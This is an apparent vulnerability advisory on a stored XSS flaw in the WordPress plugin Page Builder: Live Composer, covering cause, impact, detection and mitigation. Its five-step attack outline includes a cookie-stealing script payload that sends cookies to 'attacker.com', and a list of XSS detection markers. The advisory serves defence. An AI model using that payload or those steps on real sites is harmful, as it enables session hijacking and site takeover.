CVE-2025-68598: 
WordPress vulnerability analysis and mitigation

CVE-2025-68598 is a Stored Cross-Site Scripting (XSS) vulnerability in the Page Builder: Live Composer WordPress plugin, classified under CWE-79 (Improper Neutralization of Input During Web Page Generation). It affects all versions of the plugin up to and including 2.1.13 (per NVD) or 2.0.5 (per ENISA/Patchstack). The vulnerability was published on December 24, 2025, and was assigned by Patchstack. It carries a CVSS v3.1 base score of 6.5 (Medium) (Feedly, Patchstack).

The root cause is improper neutralization of user-supplied input before it is rendered in web page output (CWE-79), enabling a Stored XSS attack. An authenticated attacker with low privileges can inject malicious JavaScript into content managed by the Live Composer page builder, which is then persistently stored and executed in the browsers of other users (including administrators) who view the affected page. The attack vector is network-based, requires low privileges and user interaction (a victim must view the crafted page), and the scope is changed — meaning the injected script can affect resources beyond the vulnerable component itself (Feedly).

Successful exploitation allows an attacker to execute arbitrary JavaScript in the context of other users' browsers, including site administrators. This can lead to session hijacking, credential theft, unauthorized administrative actions (such as creating rogue admin accounts or installing malicious plugins), and defacement of site content. The changed scope means the impact extends beyond the plugin itself to the broader WordPress site and its users (Feedly).

No public proof-of-concept exploit code or evidence of active in-the-wild exploitation has been reported for CVE-2025-68598 as of the available data. The EPSS score is approximately 0.029%, indicating a low probability of exploitation in the near term. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. Exploitation requires an authenticated account with at least low-level privileges on the target WordPress site (Feedly).

1. Reconnaissance: Identify WordPress sites running the Page Builder: Live Composer plugin at version ≤ 2.1.13 using tools like WPScan or by inspecting plugin directories.
2. Obtain low-privilege access: Register or log in as a contributor or author-level user on the target WordPress site.
3. Inject malicious payload: Using the Live Composer page builder interface, insert a crafted XSS payload (e.g., <script>document.location='https://attacker.com/steal?c='+document.cookie</script>) into a vulnerable input field that is stored without proper sanitization.
4. Trigger victim interaction: Publish or share the page containing the malicious content, then wait for a privileged user (e.g., administrator) to visit the page.
5. Harvest results: The victim's browser executes the injected script, potentially sending session cookies or other sensitive data to the attacker's server, enabling session hijacking or further site compromise (Feedly).

• Logs: WordPress access logs showing POST requests to page builder save/update endpoints from low-privilege user accounts containing encoded JavaScript (<script>, %3Cscript%3E, javascript:, onerror=, onload=) in request bodies.
• File System: Unexpected modifications to page or post content in the WordPress database (wp_posts table) containing obfuscated or encoded script tags.
• Network: Outbound HTTP requests from victim browsers to unknown external domains shortly after loading pages built with Live Composer, potentially carrying cookie or session data in query parameters.
• Logs: WordPress audit logs (if enabled) showing unusual content edits by low-privilege accounts followed by administrator page views of the same content.

WordPress site administrators should update the Page Builder: Live Composer plugin to a version beyond 2.1.13 (or 2.0.5 per Patchstack) as soon as a patched release is available from the plugin vendor. If an update is not yet available, consider temporarily deactivating the plugin or restricting page-builder access to trusted administrator accounts only. Implementing a Web Application Firewall (WAF) with XSS filtering rules can provide an additional layer of defense. Regularly audit user accounts and their privilege levels to minimize the attack surface (Feedly, Patchstack).